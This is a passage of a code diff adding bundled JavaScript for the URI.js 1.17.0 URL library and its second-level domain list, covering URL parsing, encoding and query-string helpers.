+      'pa':' abo ac com edu gob ing med net nom org sld ',
+      'pt':' com edu gov int net nome org publ ',
+      'py':' com edu gov mil net org ',
+      'qa':' com edu gov mil net org ',
+      're':' asso com nom ',
+      'ru':' ac adygeya altai amur arkhangelsk astrakhan bashkiria belgorod bir bryansk buryatia cbg chel chelyabinsk chita chukotka chuvashia com dagestan e-burg edu gov grozny int irkutsk ivanovo izhevsk jar joshkar-ola kalmykia kaluga kamchatka karelia kazan kchr kemerovo khabarovsk khakassia khv kirov koenig komi kostroma kranoyarsk kuban kurgan kursk lipetsk magadan mari mari-el marine mil mordovia mosreg msk murmansk nalchik net nnov nov novosibirsk nsk omsk orenburg org oryol penza perm pp pskov ptz rnd ryazan sakhalin samara saratov simbirsk smolensk spb stavropol stv surgut tambov tatarstan tom tomsk tsaritsyn tsk tula tuva tver tyumen udm udmurtia ulan-ude vladikavkaz vladimir vladivostok volgograd vologda voronezh vrn vyatka yakutia yamal yekaterinburg yuzhno-sakhalinsk ',
+      'rw':' ac co com edu gouv gov int mil net ',
+      'sa':' com edu gov med net org pub sch ',
+      'sd':' com edu gov info med net org tv ',
+      'se':' a ac b bd c d e f g h i k l m n o org p parti pp press r s t tm u w x y z ',
+      'sg':' com edu gov idn net org per ',
+      'sn':' art com edu gouv org perso univ ',
+      'sy':' com edu gov mil net news org ',
+      'th':' ac co go in mi net or ',
+      'tj':' ac biz co com edu go gov info int mil name net nic org test web ',
+      'tn':' agrinet com defense edunet ens fin gov ind info intl mincom nat net org perso rnrt rns rnu tourism ',
+      'tz':' ac co go ne or ',
+      'ua':' biz cherkassy chernigov chernovtsy ck cn co com crimea cv dn dnepropetrovsk donetsk dp edu gov if in ivano-frankivsk kh kharkov kherson khmelnitskiy kiev kirovograd km kr ks kv lg lugansk lutsk lviv me mk net nikolaev od odessa org pl poltava pp rovno rv sebastopol sumy te ternopil uzhgorod vinnica vn zaporizhzhe zhitomir zp zt ',
+      'ug':' ac co go ne or org sc ',
+      'uk':' ac bl british-library co cym gov govt icnet jet lea ltd me mil mod national-library-scotland nel net nhs nic nls org orgn parliament plc police sch scot soc ',
+      'us':' dni fed isa kids nsn ',
+      'uy':' com edu gub mil net org ',
+      've':' co com edu gob info mil net org web ',
+      'vi':' co com k12 net org ',
+      'vn':' ac biz com edu gov health info int name net org pro ',
+      'ye':' co com gov ltd me net org plc ',
+      'yu':' ac co edu gov org ',
+      'za':' ac agric alt bourse city co cybernet db edu gov grondar iaccess imt inca landesign law mil net ngo nis nom olivetti org pix school tm web ',
+      'zm':' ac co com edu gov net org sch '
+    },
+    // gorhill 2013-10-25: Using indexOf() instead Regexp(). Significant boost
+    // in both performance and memory footprint. No initialization required.
+    // http://jsperf.com/uri-js-sld-regex-vs-binary-search/4
+    // Following methods use lastIndexOf() rather than array.split() in order
+    // to avoid any memory allocations.
+    has: function(domain) {
+      var tldOffset = domain.lastIndexOf('.');
+      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {
+        return false;
+      }
+      var sldOffset = domain.lastIndexOf('.', tldOffset-1);
+      if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) {
+        return false;
+      }
+      var sldList = SLD.list[domain.slice(tldOffset+1)];
+      if (!sldList) {
+        return false;
+      }
+      return sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') >= 0;
+    },
+    is: function(domain) {
+      var tldOffset = domain.lastIndexOf('.');
+      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {
+        return false;
+      }
+      var sldOffset = domain.lastIndexOf('.', tldOffset-1);
+      if (sldOffset >= 0) {
+        return false;
+      }
+      var sldList = SLD.list[domain.slice(tldOffset+1)];
+      if (!sldList) {
+        return false;
+      }
+      return sldList.indexOf(' ' + domain.slice(0, tldOffset) + ' ') >= 0;
+    },
+    get: function(domain) {
+      var tldOffset = domain.lastIndexOf('.');
+      if (tldOffset <= 0 || tldOffset >= (domain.length-1)) {
+        return null;
+      }
+      var sldOffset = domain.lastIndexOf('.', tldOffset-1);
+      if (sldOffset <= 0 || sldOffset >= (tldOffset-1)) {
+        return null;
+      }
+      var sldList = SLD.list[domain.slice(tldOffset+1)];
+      if (!sldList) {
+        return null;
+      }
+      if (sldList.indexOf(' ' + domain.slice(sldOffset+1, tldOffset) + ' ') < 0) {
+        return null;
+      }
+      return domain.slice(sldOffset+1);
+    },
+    noConflict: function(){
+      if (root.SecondLevelDomains === this) {
+        root.SecondLevelDomains = _SecondLevelDomains;
+      }
+      return this;
+    }
+  };
+
+  return SLD;
+}));
+
+},{}],3:[function(require,module,exports){
+/*!
+ * URI.js - Mutating URLs
+ *
+ * Version: 1.17.0
+ *
+ * Author: Rodney Rehm
+ * Web: http://medialize.github.io/URI.js/
+ *
+ * Licensed under
+ *   MIT License http://www.opensource.org/licenses/mit-license
+ *   GPL v3 http://opensource.org/licenses/GPL-3.0
+ *
+ */
+(function (root, factory) {
+  'use strict';
+  // https://github.com/umdjs/umd/blob/master/returnExports.js
+  if (typeof exports === 'object') {
+    // Node
+    module.exports = factory(require('./punycode'), require('./IPv6'), require('./SecondLevelDomains'));
+  } else if (typeof define === 'function' && define.amd) {
+    // AMD. Register as an anonymous module.
+    define(['./punycode', './IPv6', './SecondLevelDomains'], factory);
+  } else {
+    // Browser globals (root is window)
+    root.URI = factory(root.punycode, root.IPv6, root.SecondLevelDomains, root);
+  }
+}(this, function (punycode, IPv6, SLD, root) {
+  'use strict';
+  /*global location, escape, unescape */
+  // FIXME: v2.0.0 renamce non-camelCase properties to uppercase
+  /*jshint camelcase: false */
+
+  // save current URI variable, if any
+  var _URI = root && root.URI;
+
+  function URI(url, base) {
+    var _urlSupplied = arguments.length >= 1;
+    var _baseSupplied = arguments.length >= 2;
+
+    // Allow instantiation without the 'new' keyword
+    if (!(this instanceof URI)) {
+      if (_urlSupplied) {
+        if (_baseSupplied) {
+          return new URI(url, base);
+        }
+
+        return new URI(url);
+      }
+
+      return new URI();
+    }
+
+    if (url === undefined) {
+      if (_urlSupplied) {
+        throw new TypeError('undefined is not a valid argument for URI');
+      }
+
+      if (typeof location !== 'undefined') {
+        url = location.href + '';
+      } else {
+        url = '';
+      }
+    }
+
+    this.href(url);
+
+    // resolve to base according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#constructor
+    if (base !== undefined) {
+      return this.absoluteTo(base);
+    }
+
+    return this;
+  }
+
+  URI.version = '1.17.0';
+
+  var p = URI.prototype;
+  var hasOwn = Object.prototype.hasOwnProperty;
+
+  function escapeRegEx(string) {
+    // https://github.com/medialize/URI.js/commit/85ac21783c11f8ccab06106dba9735a31a86924d#commitcomment-821963
+    return string.replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
+  }
+
+  function getType(value) {
+    // IE8 doesn't return [Object Undefined] but [Object Object] for undefined value
+    if (value === undefined) {
+      return 'Undefined';
+    }
+
+    return String(Object.prototype.toString.call(value)).slice(8, -1);
+  }
+
+  function isArray(obj) {
+    return getType(obj) === 'Array';
+  }
+
+  function filterArrayValues(data, value) {
+    var lookup = {};
+    var i, length;
+
+    if (getType(value) === 'RegExp') {
+      lookup = null;
+    } else if (isArray(value)) {
+      for (i = 0, length = value.length; i < length; i++) {
+        lookup[value[i]] = true;
+      }
+    } else {
+      lookup[value] = true;
+    }
+
+    for (i = 0, length = data.length; i < length; i++) {
+      /*jshint laxbreak: true */
+      var _match = lookup && lookup[data[i]] !== undefined
+        || !lookup && value.test(data[i]);
+      /*jshint laxbreak: false */
+      if (_match) {
+        data.splice(i, 1);
+        length--;
+        i--;
+      }
+    }
+
+    return data;
+  }
+
+  function arrayContains(list, value) {
+    var i, length;
+
+    // value may be string, number, array, regexp
+    if (isArray(value)) {
+      // Note: this can be optimized to O(n) (instead of current O(m * n))
+      for (i = 0, length = value.length; i < length; i++) {
+        if (!arrayContains(list, value[i])) {
+          return false;
+        }
+      }
+
+      return true;
+    }
+
+    var _type = getType(value);
+    for (i = 0, length = list.length; i < length; i++) {
+      if (_type === 'RegExp') {
+        if (typeof list[i] === 'string' && list[i].match(value)) {
+          return true;
+        }
+      } else if (list[i] === value) {
+        return true;
+      }
+    }
+
+    return false;
+  }
+
+  function arraysEqual(one, two) {
+    if (!isArray(one) || !isArray(two)) {
+      return false;
+    }
+
+    // arrays can't be equal if they have different amount of content
+    if (one.length !== two.length) {
+      return false;
+    }
+
+    one.sort();
+    two.sort();
+
+    for (var i = 0, l = one.length; i < l; i++) {
+      if (one[i] !== two[i]) {
+        return false;
+      }
+    }
+
+    return true;
+  }
+
+  function trimSlashes(text) {
+    var trim_expression = /^\/+|\/+$/g;
+    return text.replace(trim_expression, '');
+  }
+
+  URI._parts = function() {
+    return {
+      protocol: null,
+      username: null,
+      password: null,
+      hostname: null,
+      urn: null,
+      port: null,
+      path: null,
+      query: null,
+      fragment: null,
+      // state
+      duplicateQueryParameters: URI.duplicateQueryParameters,
+      escapeQuerySpace: URI.escapeQuerySpace
+    };
+  };
+  // state: allow duplicate query parameters (a=1&a=1)
+  URI.duplicateQueryParameters = false;
+  // state: replaces + with %20 (space in query strings)
+  URI.escapeQuerySpace = true;
+  // static properties
+  URI.protocol_expression = /^[a-z][a-z0-9.+-]*$/i;
+  URI.idn_expression = /[^a-z0-9\.-]/i;
+  URI.punycode_expression = /(xn--)/i;
+  // well, 333.444.555.666 matches, but it sure ain't no IPv4 - do we care?
+  URI.ip4_expression = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
+  // credits to Rich Brown
+  // source: http://forums.intermapper.com/viewtopic.php?p=1096#1096
+  // specification: http://www.ietf.org/rfc/rfc4291.txt
+  URI.ip6_expression = /^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$/;
+  // expression used is "gruber revised" (@gruber v2) determined to be the
+  // best solution in a regex-golf we did a couple of ages ago at
+  // * http://mathiasbynens.be/demo/url-regex
+  // * http://rodneyrehm.de/t/url-regex.html
+  URI.find_uri_expression = /\b((?:[a-z][\w-]+:(?:\/{1,3}|[a-z0-9%])|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}\/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'".,<>?«»“”‘’]))/ig;
+  URI.findUri = {
+    // valid "scheme://" or "www."
+    start: /\b(?:([a-z][a-z0-9.+-]*:\/\/)|www\.)/gi,
+    // everything up to the next whitespace
+    end: /[\s\r\n]|$/,
+    // trim trailing punctuation captured by end RegExp
+    trim: /[`!()\[\]{};:'".,<>?«»“”„‘’]+$/
+  };
+  // http://www.iana.org/assignments/uri-schemes.html
+  // http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers#Well-known_ports
+  URI.defaultPorts = {
+    http: '80',
+    https: '443',
+    ftp: '21',
+    gopher: '70',
+    ws: '80',
+    wss: '443'
+  };
+  // allowed hostname characters according to RFC 3986
+  // ALPHA DIGIT "-" "." "_" "~" "!" "$" "&" "'" "(" ")" "*" "+" "," ";" "=" %encoded
+  // I've never seen a (non-IDN) hostname other than: ALPHA DIGIT . -
+  URI.invalid_hostname_characters = /[^a-zA-Z0-9\.-]/;
+  // map DOM Elements to their URI attribute
+  URI.domAttributes = {
+    'a': 'href',
+    'blockquote': 'cite',
+    'link': 'href',
+    'base': 'href',
+    'script': 'src',
+    'form': 'action',
+    'img': 'src',
+    'area': 'href',
+    'iframe': 'src',
+    'embed': 'src',
+    'source': 'src',
+    'track': 'src',
+    'input': 'src', // but only if type="image"
+    'audio': 'src',
+    'video': 'src'
+  };
+  URI.getDomAttribute = function(node) {
+    if (!node || !node.nodeName) {
+      return undefined;
+    }
+
+    var nodeName = node.nodeName.toLowerCase();
+    // <input> should only expose src for type="image"
+    if (nodeName === 'input' && node.type !== 'image') {
+      return undefined;
+    }
+
+    return URI.domAttributes[nodeName];
+  };
+
+  function escapeForDumbFirefox36(value) {
+    // https://github.com/medialize/URI.js/issues/91
+    return escape(value);
+  }
+
+  // encoding / decoding according to RFC3986
+  function strictEncodeURIComponent(string) {
+    // see https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent
+    return encodeURIComponent(string)
+      .replace(/[!'()*]/g, escapeForDumbFirefox36)
+      .replace(/\*/g, '%2A');
+  }
+  URI.encode = strictEncodeURIComponent;
+  URI.decode = decodeURIComponent;
+  URI.iso8859 = function() {
+    URI.encode = escape;
+    URI.decode = unescape;
+  };
+  URI.unicode = function() {
+    URI.encode = strictEncodeURIComponent;
+    URI.decode = decodeURIComponent;
+  };
+  URI.characters = {
+    pathname: {
+      encode: {
+        // RFC3986 2.1: For consistency, URI producers and normalizers should
+        // use uppercase hexadecimal digits for all percent-encodings.
+        expression: /%(24|26|2B|2C|3B|3D|3A|40)/ig,
+        map: {
+          // -._~!'()*
+          '%24': '$',
+          '%26': '&',
+          '%2B': '+',
+          '%2C': ',',
+          '%3B': ';',
+          '%3D': '=',
+          '%3A': ':',
+          '%40': '@'
+        }
+      },
+      decode: {
+        expression: /[\/\?#]/g,
+        map: {
+          '/': '%2F',
+          '?': '%3F',
+          '#': '%23'
+        }
+      }
+    },
+    reserved: {
+      encode: {
+        // RFC3986 2.1: For consistency, URI producers and normalizers should
+        // use uppercase hexadecimal digits for all percent-encodings.
+        expression: /%(21|23|24|26|27|28|29|2A|2B|2C|2F|3A|3B|3D|3F|40|5B|5D)/ig,
+        map: {
+          // gen-delims
+          '%3A': ':',
+          '%2F': '/',
+          '%3F': '?',
+          '%23': '#',
+          '%5B': '[',
+          '%5D': ']',
+          '%40': '@',
+          // sub-delims
+          '%21': '!',
+          '%24': '$',
+          '%26': '&',
+          '%27': '\'',
+          '%28': '(',
+          '%29': ')',
+          '%2A': '*',
+          '%2B': '+',
+          '%2C': ',',
+          '%3B': ';',
+          '%3D': '='
+        }
+      }
+    },
+    urnpath: {
+      // The characters under `encode` are the characters called out by RFC 2141 as being acceptable
+      // for usage in a URN. RFC2141 also calls out "-", ".", and "_" as acceptable characters, but
+      // these aren't encoded by encodeURIComponent, so we don't have to call them out here. Also
+      // note that the colon character is not featured in the encoding map; this is because URI.js
+      // gives the colons in URNs semantic meaning as the delimiters of path segements, and so it
+      // should not appear unencoded in a segment itself.
+      // See also the note above about RFC3986 and capitalalized hex digits.
+      encode: {
+        expression: /%(21|24|27|28|29|2A|2B|2C|3B|3D|40)/ig,
+        map: {
+          '%21': '!',
+          '%24': '$',
+          '%27': '\'',
+          '%28': '(',
+          '%29': ')',
+          '%2A': '*',
+          '%2B': '+',
+          '%2C': ',',
+          '%3B': ';',
+          '%3D': '=',
+          '%40': '@'
+        }
+      },
+      // These characters are the characters called out by RFC2141 as "reserved" characters that
+      // should never appear in a URN, plus the colon character (see note above).
+      decode: {
+        expression: /[\/\?#:]/g,
+        map: {
+          '/': '%2F',
+          '?': '%3F',
+          '#': '%23',
+          ':': '%3A'
+        }
+      }
+    }
+  };
+  URI.encodeQuery = function(string, escapeQuerySpace) {
+    var escaped = URI.encode(string + '');
+    if (escapeQuerySpace === undefined) {
+      escapeQuerySpace = URI.escapeQuerySpace;
+    }
+
+    return escapeQuerySpace ? escaped.replace(/%20/g, '+') : escaped;
+  };
+  URI.decodeQuery = function(string, escapeQuerySpace) {
+    string += '';
+    if (escapeQuerySpace === undefined) {
+      escapeQuerySpace = URI.escapeQuerySpace;
+    }
+
+    try {
+      return URI.decode(escapeQuerySpace ? string.replace(/\+/g, '%20') : string);
+    } catch(e) {
+      // we're not going to mess with weird encodings,
+      // give up and return the undecoded original string
+      // see https://github.com/medialize/URI.js/issues/87
+      // see https://github.com/medialize/URI.js/issues/92
+      return string;
+    }
+  };
+  // generate encode/decode path functions
+  var _parts = {'encode':'encode', 'decode':'decode'};
+  var _part;
+  var generateAccessor = function(_group, _part) {
+    return function(string) {
+      try {
+        return URI[_part](string + '').replace(URI.characters[_group][_part].expression, function(c) {
+          return URI.characters[_group][_part].map[c];
+        });
+      } catch (e) {
+        // we're not going to mess with weird encodings,
+        // give up and return the undecoded original string
+        // see https://github.com/medialize/URI.js/issues/87
+        // see https://github.com/medialize/URI.js/issues/92
+        return string;
+      }
+    };
+  };
+
+  for (_part in _parts) {
+    URI[_part + 'PathSegment'] = generateAccessor('pathname', _parts[_part]);
+    URI[_part + 'UrnPathSegment'] = generateAccessor('urnpath', _parts[_part]);
+  }
+
+  var generateSegmentedPathFunction = function(_sep, _codingFuncName, _innerCodingFuncName) {
+    return function(string) {
+      // Why pass in names of functions, rather than the function objects themselves? The
+      // definitions of some functions (but in particular, URI.decode) will occasionally change due
+      // to URI.js having ISO8859 and Unicode modes. Passing in the name and getting it will ensure
+      // that the functions we use here are "fresh".
+      var actualCodingFunc;
+      if (!_innerCodingFuncName) {
+        actualCodingFunc = URI[_codingFuncName];
+      } else {
+        actualCodingFunc = function(string) {
+          return URI[_codingFuncName](URI[_innerCodingFuncName](string));
+        };
+      }
+
+      var segments = (string + '').split(_sep);
+
+      for (var i = 0, length = segments.length; i < length; i++) {
+        segments[i] = actualCodingFunc(segments[i]);
+      }
+
+      return segments.join(_sep);
+    };
+  };
+
+  // This takes place outside the above loop because we don't want, e.g., encodeUrnPath functions.
+  URI.decodePath = generateSegmentedPathFunction('/', 'decodePathSegment');
+  URI.decodeUrnPath = generateSegmentedPathFunction(':', 'decodeUrnPathSegment');
+  URI.recodePath = generateSegmentedPathFunction('/', 'encodePathSegment', 'decode');
+  URI.recodeUrnPath = generateSegmentedPathFunction(':', 'encodeUrnPathSegment', 'decode');
+
+  URI.encodeReserved = generateAccessor('reserved', 'encode');
+
+  URI.parse = function(string, parts) {
+    var pos;
+    if (!parts) {
+      parts = {};
+    }
+    // [protocol"://"[username[":"password]"@"]hostname[":"port]"/"?][path]["?"querystring]["#"fragment]
+
+    // extract fragment
+    pos = string.indexOf('#');
+    if (pos > -1) {
+      // escaping?
+      parts.fragment = string.substring(pos + 1) || null;
+      string = string.substring(0, pos);
+    }
+
+    // extract query
+    pos = string.indexOf('?');
+    if (pos > -1) {
+      // escaping?
+      parts.query = string.substring(pos + 1) || null;
+      string = string.substring(0, pos);
+    }
+
+    // extract protocol
+    if (string.substring(0, 2) === '//') {
+      // relative-scheme
+      parts.protocol = null;
+      string = string.substring(2);
+      // extract "user:pass@host:port"
+      string = URI.parseAuthority(string, parts);
+    } else {
+      pos = string.indexOf(':');
+      if (pos > -1) {
+        parts.protocol = string.substring(0, pos) || null;
+        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {
+          // : may be within the path
+          parts.protocol = undefined;
+        } else if (string.substring(pos + 1, pos + 3) === '//') {
+          string = string.substring(pos + 3);
+
+          // extract "user:pass@host:port"
+          string = URI.parseAuthority(string, parts);
+        } else {
+          string = string.substring(pos + 1);
+          parts.urn = true;
+        }
+      }
+    }
+
+    // what's left must be the path
+    parts.path = string;
+
+    // and we're done
+    return parts;
+  };
+  URI.parseHost = function(string, parts) {
+    // Copy chrome, IE, opera backslash-handling behavior.
+    // Back slashes before the query string get converted to forward slashes
+    // See: https://github.com/joyent/node/blob/386fd24f49b0e9d1a8a076592a404168faeecc34/lib/url.js#L115-L124
+    // See: https://code.google.com/p/chromium/issues/detail?id=25916
+    // https://github.com/medialize/URI.js/pull/233
+    string = string.replace(/\\/g, '/');
+
+    // extract host:port
+    var pos = string.indexOf('/');
+    var bracketPos;
+    var t;
+
+    if (pos === -1) {
+      pos = string.length;
+    }
+
+    if (string.charAt(0) === '[') {
+      // IPv6 host - http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04#section-6
+      // I claim most client software breaks on IPv6 anyways. To simplify things, URI only accepts
+      // IPv6+port in the format [2001:db8::1]:80 (for the time being)
+      bracketPos = string.indexOf(']');
+      parts.hostname = string.substring(1, bracketPos) || null;
+      parts.port = string.substring(bracketPos + 2, pos) || null;
+      if (parts.port === '/') {
+        parts.port = null;
+      }
+    } else {
+      var firstColon = string.indexOf(':');
+      var firstSlash = string.indexOf('/');
+      var nextColon = string.indexOf(':', firstColon + 1);
+      if (nextColon !== -1 && (firstSlash === -1 || nextColon < firstSlash)) {
+        // IPv6 host contains multiple colons - but no port
+        // this notation is actually not allowed by RFC 3986, but we're a liberal parser
+        parts.hostname = string.substring(0, pos) || null;
+        parts.port = null;
+      } else {
+        t = string.substring(0, pos).split(':');
+        parts.hostname = t[0] || null;
+        parts.port = t[1] || null;
+      }
+    }
+
+    if (parts.hostname && string.substring(pos).charAt(0) !== '/') {
+      pos++;
+      string = '/' + string;
+    }
+
+    return string.substring(pos) || '/';
+  };
+  URI.parseAuthority = function(string, parts) {
+    string = URI.parseUserinfo(string, parts);
+    return URI.parseHost(string, parts);
+  };
+  URI.parseUserinfo = function(string, parts) {
+    // extract username:password
+    var firstSlash = string.indexOf('/');
+    var pos = string.lastIndexOf('@', firstSlash > -1 ? firstSlash : string.length - 1);
+    var t;
+
+    // authority@ must come before /path
+    if (pos > -1 && (firstSlash === -1 || pos < firstSlash)) {
+      t = string.substring(0, pos).split(':');
+      parts.username = t[0] ? URI.decode(t[0]) : null;
+      t.shift();
+      parts.password = t[0] ? URI.decode(t.join(':')) : null;
+      string = string.substring(pos + 1);
+    } else {
+      parts.username = null;
+      parts.password = null;
+    }
+
+    return string;
+  };
+  URI.parseQuery = function(string, escapeQuerySpace) {
+    if (!string) {
+      return {};
+    }
+
+    // throw out the funky business - "?"[name"="value"&"]+
+    string = string.replace(/&+/g, '&').replace(/^\?*&*|&+$/g, '');
+
+    if (!string) {
+      return {};
+    }
+
+    var items = {};
+    var splits = string.split('&');
+    var length = splits.length;
+    var v, name, value;
+
+    for (var i = 0; i < length; i++) {
+      v = splits[i].split('=');
+      name = URI.decodeQuery(v.shift(), escapeQuerySpace);
+      // no "=" is null according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#collect-url-parameters
+      value = v.length ? URI.decodeQuery(v.join('='), escapeQuerySpace) : null;
+
+      if (hasOwn.call(items, name)) {
+        if (typeof items[name] === 'string' || items[name] === null) {
+          items[name] = [items[name]];
+        }
+
+        items[name].push(value);
+      } else {
+        items[name] = value;
+      }
+    }
+
+    return items;
+  };
+
+  URI.build = function(parts) {
+    var t = '';
+
+    if (parts.protocol) {
+      t += parts.protocol + ':';
+    }
+
+    if (!parts.urn && (t || parts.hostname)) {
+      t += '//';
+    }
+
+    t += (URI.buildAuthority(parts) || '');
+
+    if (typeof parts.path === 'string') {
+      if (parts.path.charAt(0) !== '/' && typeof parts.hostname === 'string') {
+        t += '/';
+      }
+
+      t += parts.path;
+    }
+
+    if (typeof parts.query === 'string' && parts.query) {
+      t += '?' + parts.query;
+    }
+
+    if (typeof parts.fragment === 'string' && parts.fragment) {
+      t += '#' + parts.fragment;
+    }
+    return t;
+  };
+  URI.buildHost = function(parts) {
+    var t = '';
+
+    if (!parts.hostname) {
+      return '';
+    } else if (URI.ip6_expression.test(parts.hostname)) {
+      t += '[' + parts.hostname + ']';
+    } else {
+      t += parts.hostname;
+    }
+
+    if (parts.port) {
+      t += ':' + parts.port;
+    }
+
+    return t;
+  };
+  URI.buildAuthority = function(parts) {
+    return URI.buildUserinfo(parts) + URI.buildHost(parts);
+  };
+  URI.buildUserinfo = function(parts) {
+    var t = '';
+
+    if (parts.username) {
+      t += URI.encode(parts.username);
+
+      if (parts.password) {
+        t += ':' + URI.encode(parts.password);
+      }
+
+      t += '@';
+    }
+
+    return t;
+  };
+  URI.buildQuery = function(data, duplicateQueryParameters, escapeQuerySpace) {
+    // according to http://tools.ietf.org/html/rfc3986 or http://labs.apache.org/webarch/uri/rfc/rfc3986.html
+    // being »-._~!$&'()*+,;=:@/?« %HEX and alnum are allowed
+    // the RFC explicitly states ?/foo being a valid use case, no mention of parameter syntax!
+    // URI.js treats the query string as being application/x-www-form-urlencoded
+    // see http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type
+
+    var t = '';
+    var unique, key, i, length;
+    for (key in data) {
+      if (hasOwn.call(data, key) && key) {
+        if (isArray(data[key])) {
+          unique = {};
+          for (i = 0, length = data[key].length; i < length; i++) {
+            if (data[key][i] !== undefined && unique[data[key][i] + ''] === undefined) {
+              t += '&' + URI.buildQueryParameter(key, data[key][i], escapeQuerySpace);
+              if (duplicateQueryParameters !== true) {
+                unique[data[key][i] + ''] = true;
+              }
+            }
+          }
+        } else if (data[key] !== undefined) {
+          t += '&' + URI.buildQueryParameter(key, data[key], escapeQuerySpace);
+        }
+      }
+    }
+
+    return t.substring(1);
+  };
+  URI.buildQueryParameter = function(name, value, escapeQuerySpace) {
+    // http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type -- application/x-www-form-urlencoded
+    // don't append "=" for null values, according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#url-parameter-serialization
+    return URI.encodeQuery(name, escapeQuerySpace) + (value !== null ? '=' + URI.encodeQuery(value, escapeQuerySpace) : '');
+  };
+
+  URI.addQuery = function(data, name, value) {
+    if (typeof name === 'object') {
+      for (var key in name) {
+        if (hasOwn.call(name, key)) {
+          URI.addQuery(data, key, name[key]);
+        }
+      }
+    } else if (typeof name === 'string') {
+      if (data[name] === undefined) {
+        data[name] = value;
+        return;
+      } else if (typeof data[name] === 'string') {
+        data[name] = [data[name]];
+      }
+
+      if (!isArray(value)) {
+        value = [value];
+      }
+
+      data[name] = (data[name] || []).concat(value);
+    } else {
+      throw new TypeError('URI.addQuery() accepts an object, string as the name parameter');
+    }
+  };
+  URI.removeQuery = function(data, name, value) {
+    var i, length, key;
+
+    if (isArray(name)) {
+      for (i = 0, length = name.length; i < length; i++) {
+        data[name[i]] = undefined;
+      }
+    } else if (getType(name) === 'RegExp') {
+      for (key in data) {
+        if (name.test(key)) {
+          data[key] = undefined;
+        }
+      }
+    } else if (typeof name === 'object') {
+      for (key in name) {
+        if (hasOwn.call(name, key)) {
+          URI.removeQuery(data, key, name[key]);
+        }
+      }
+    } else if (typeof name === 'string') {
+      if (value !== undefined) {
+        if (getType(value) === 'RegExp') {
+          if (!isArray(data[name]) && value.test(data[name])) {
+            data[name] = undefined;
+          } else {
+            data[name] = filterArrayValues(data[name], value);
+          }
+        } else if (data[name] === String(value) && (!isArray(value) || value.length === 1)) {
+          data[name] = undefined;
+        } else if (isArray(data[name])) {
+          data[name] = filterArrayValues(data[name], value);
+        }
+      } else {
+        data[name] = undefined;
+      }
+    } else {
+      throw new TypeError('URI.removeQuery() accepts an object, string, RegExp as the first parameter');
+    }
+  };
+  URI.hasQuery = function(data, name, value, withinArray) {
+    if (typeof name === 'object') {
+      for (var key in name) {
+        if (hasOwn.call(name, key)) {
+          if (!URI.hasQuery(data, key, name[key])) {
+            return false;
+          }
+        }
+      }
+
+      return true;
+    } else if (typeof name !== 'string') {
+      throw new TypeError('URI.hasQuery() accepts an object, string as the name parameter');
+    }
+
+    switch (getType(value)) {
+      case 'Undefined':
+        // true if exists (but may be empty)
+        return name in data; // data[name] !== undefined;
+
+      case 'Boolean':
+        // true if exists and non-empty
+        var _booly = Boolean(isArray(data[name]) ? data[name].length : data[name]);
+        return value === _booly;
+
+      case 'Function':
+        // allow complex comparison
+        return !!value(data[name], name, data);
+
+      case 'Array':
+        if (!isArray(data[name])) {
+          return false;
+        }
+
+        var op = withinArray ? arrayContains : arraysEqual;
+        return op(data[name], value);
+
+      case 'RegExp':
+        if (!isArray(data[name])) {
+          return Boolean(data[name] && data[name].match(value));
+        }
+
+        if (!withinArray) {
+          return false;
+        }
+
+        return arrayContains(data[name], value);
+
+      case 'Number':
+        value = String(value);
+        /* falls through */
+      case 'String':
+        if (!isArray(data[name])) {
+          return data[name] === value;
+        }
+
+        if (!withinArray) {
+          return false;
+        }
+
+        return arrayContains(data[name], value);
+
